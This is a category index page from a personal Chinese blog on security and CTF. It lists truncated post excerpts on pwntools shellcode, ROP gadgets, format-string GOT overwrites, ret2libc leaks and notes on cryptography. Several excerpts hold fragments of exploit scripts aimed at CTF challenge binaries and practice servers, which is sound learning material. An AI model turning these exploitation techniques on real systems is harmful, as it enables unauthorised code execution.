DreamCatcher Yan

  • Blog
  • Category
    • 数据结构与算法
    • 信息安全与ctf
    • 生活
    • 其他
    • ICS
    • 软件构造
  • Jupyter
  • About
信息安全与ctf
信息安全与ctf

pwntools连gdb一例

from pwn import * context(os='linux', arch='amd64', log_level='debug') shellcode = asm(shellcraft.sh()) io = process('./shellcode') gdb.attach(io, 'b *0x4012b7') name_addr = 0x4040a0 payload = shellcode + 'a'*(0x40-len(shellcode)) + p64(0x4040a0) io.recvline()…

2021年9月7日 0条评论 442点热度 2人点赞 阅读全文
信息安全与ctf

通过系统调用open来查看flag

这段代码中while有一个无法退出的循环,不能通过ROP获取flag,只能在代码中执行open函数。 我们希望构造这样的代码来拿到flag: int fd = open("flag", READONLY); read(fd, buf, 100); print(buf); 在程序中寻找可以利用的修改rax、rdi、rsi、rdx的语句(64位程序通过寄存器传参,rax用于系统调用): 具体能利用的地方在: 0x4008a1 : pop rsi ; pop r15 ; ret 0x4008a3 : pop rdi ; …

2021年8月8日 0条评论 166点热度 0人点赞 阅读全文
信息安全与ctf

64位传参利用方法&LibcSearcher使用入门&ROPgadget利用

ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无法直接通过栈溢出写入参数。解决方法是:在程序中寻找一处pop %rdi的指令,将数据写入rdi寄存器。 在程序中寻找pop %rdi需要一个叫ROPgadget的工具。 Linux指令: ROPgadget --binary pwn | grep "pop rdi" 查到在程序的0x400763地址处存在一个pop r…

2021年8月4日 0条评论 188点热度 0人点赞 阅读全文
信息安全与ctf

字符串格式化漏洞修改GOT表一例

代码如下: from pwn import * context(arch='amd64', os='linux') elf = ELF("./pwn") io = remote("111.200.241.244", 56315) catflag_addr = 0x4008DA puts_got = elf.got['puts'] payload = fmtstr_payload(6, {puts_got: catflag_addr}) io.recvuntil("3. Exit the battle") io.se…

2021年8月4日 0条评论 233点热度 0人点赞 阅读全文
信息安全与ctf

pwn入门-PLT表与GOT表、libc入门

动态链接时,一个程序PLT表中的内容始终不变,仅在程序加载时修改GOT表中的内容。PLT表中的每个表项指向对应函数在GOT表中的地址(偏移),每次加载程序都相同。程序加载后GOT表中的每个表项保存的是函数在共享区的绝对地址,每次加载都不相同。 代码如下: from pwn import * io = remote("111.200.241.244", 49167) elf = ELF("./level3") libc = ELF("./libc_32.so.6") write_plt = elf.plt['writ…

2021年8月2日 0条评论 500点热度 0人点赞 阅读全文
信息安全与ctf

一个字符串格式化漏洞很好用的函数

输入字符串s,然后printf(&s)。 好用的函数是pwntools中的fmtstr_payload函数。 代码如下: from pwn import * context(log_level='info', arch='i386', os='linux') io = remote('111.200.241.244', 57374) elf = ELF('pwn') pwnme_addr = 0x0804A068 io.recvline() io.sendline('y') io.recvline() # …

2021年8月2日 0条评论 215点热度 0人点赞 阅读全文
信息安全与ctf

椭圆曲线密码学(ECC)原理

1.椭圆曲线的定义 满足以下形式二元三次方程的点集 y^2+axy+by=x^3+cx^2+dx+e (其中a,b,c,d是实数) 称为椭圆曲线。 ECC中最常用的椭圆曲线方程是: y^2=x^3+ax+b(a,b \in GF(p), 4a^3+27b^2 \ne 0) 以下是两个椭圆曲线的例子。 2.有限域上的椭圆曲线 密码学专注于离散的数学,而上面介绍的椭圆曲线是连续的。我们想把椭圆曲线及其加法应用于密码学,需要在整数集上讨论椭圆曲线 的点集。 设E_p(a, b)表示椭圆曲线y^2=x^3+ax+b上的点集…

2021年1月16日 0条评论 203点热度 0人点赞 阅读全文
信息安全与ctf

openssl解析RSA公钥(利用工具处理RSA)

命令: OpenSSL> rsa -in pubkey.pem -text -pubin 即模数(n):00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f:1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:ff:e9:7f:be:30:dd 质数(e): 65537 将n转换成十进制: s = '00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f:1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:…

2021年1月15日 0条评论 196点热度 0人点赞 阅读全文
信息安全与ctf

分组密码

分组密码(block cipher)的数学模型是将明文消息编码表示后的数字(简称明文数字)序列,划分成长度为n的组,每组分别在密钥的控制下变换成等长的密文。常见的分组密码有DES、AES 常见出题思路: - 普通题目:针对分组模式的攻击、简单结构的攻击 - 困难题目:需使用差分、积分、代数、MITM 分组模式 ECB模式 对于每一组密文,使用相同的密钥加密。如果明文相同,那么得到的密文就是相同的,这样会带来一些问题。例如对图片加密时,由于图片中存在大量相同的连续数据,使用ECB模式加密后,可能仅仅相当于对图片进行了…

2021年1月11日 0条评论 188点热度 0人点赞 阅读全文
信息安全与ctf

古典密码

1. 简单移位密码 m = "{easy_easy_crypto}" k = 3124 明文所在位置 1 2 3 4 密文所在位置 3 1 2 4 flag {eas y_ea sy_c rypt o} lafg ea{s _eya y_sc yprt }o 攻击方法:肉眼识别/爆破秘钥/根据flag字符串逆推 2. 曲路密码 明文填入一个表中,并按照一定的曲路遍历攻击方法:逆向通力 明文:abcdefghijklmnopqrstuvwxy 密文:ejotyxcnidchmrwvqlgbafkpu 3. 云影密码 …

2021年1月11日 0条评论 180点热度 0人点赞 阅读全文
12

DreamCatcher Yan

Make it a better world.

分类目录
  • ICS
  • 信息安全与ctf
  • 其他
  • 数据结构与算法
  • 生活
  • 软件构造
最新 热点 随机
最新 热点 随机
Sentinel圣天诺加密狗简单使用教程(Linux) pwntools连gdb一例 通过系统调用open来查看flag 64位传参利用方法&LibcSearcher使用入门&ROPgadget利用 字符串格式化漏洞修改GOT表一例 pwn入门-PLT表与GOT表、libc入门
solidity中memory和storage的区别 RSA加密算法原理 基于以太坊的分布式投票系统solidity合约代码 ICS汇编学习笔记——操作数寻址方式 CSAPP第3章家庭作业答案 Sentinel圣天诺加密狗简单使用教程(Linux)

COPYRIGHT © 2020 DreamCatcher Yan. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS

苏ICP备2020067253号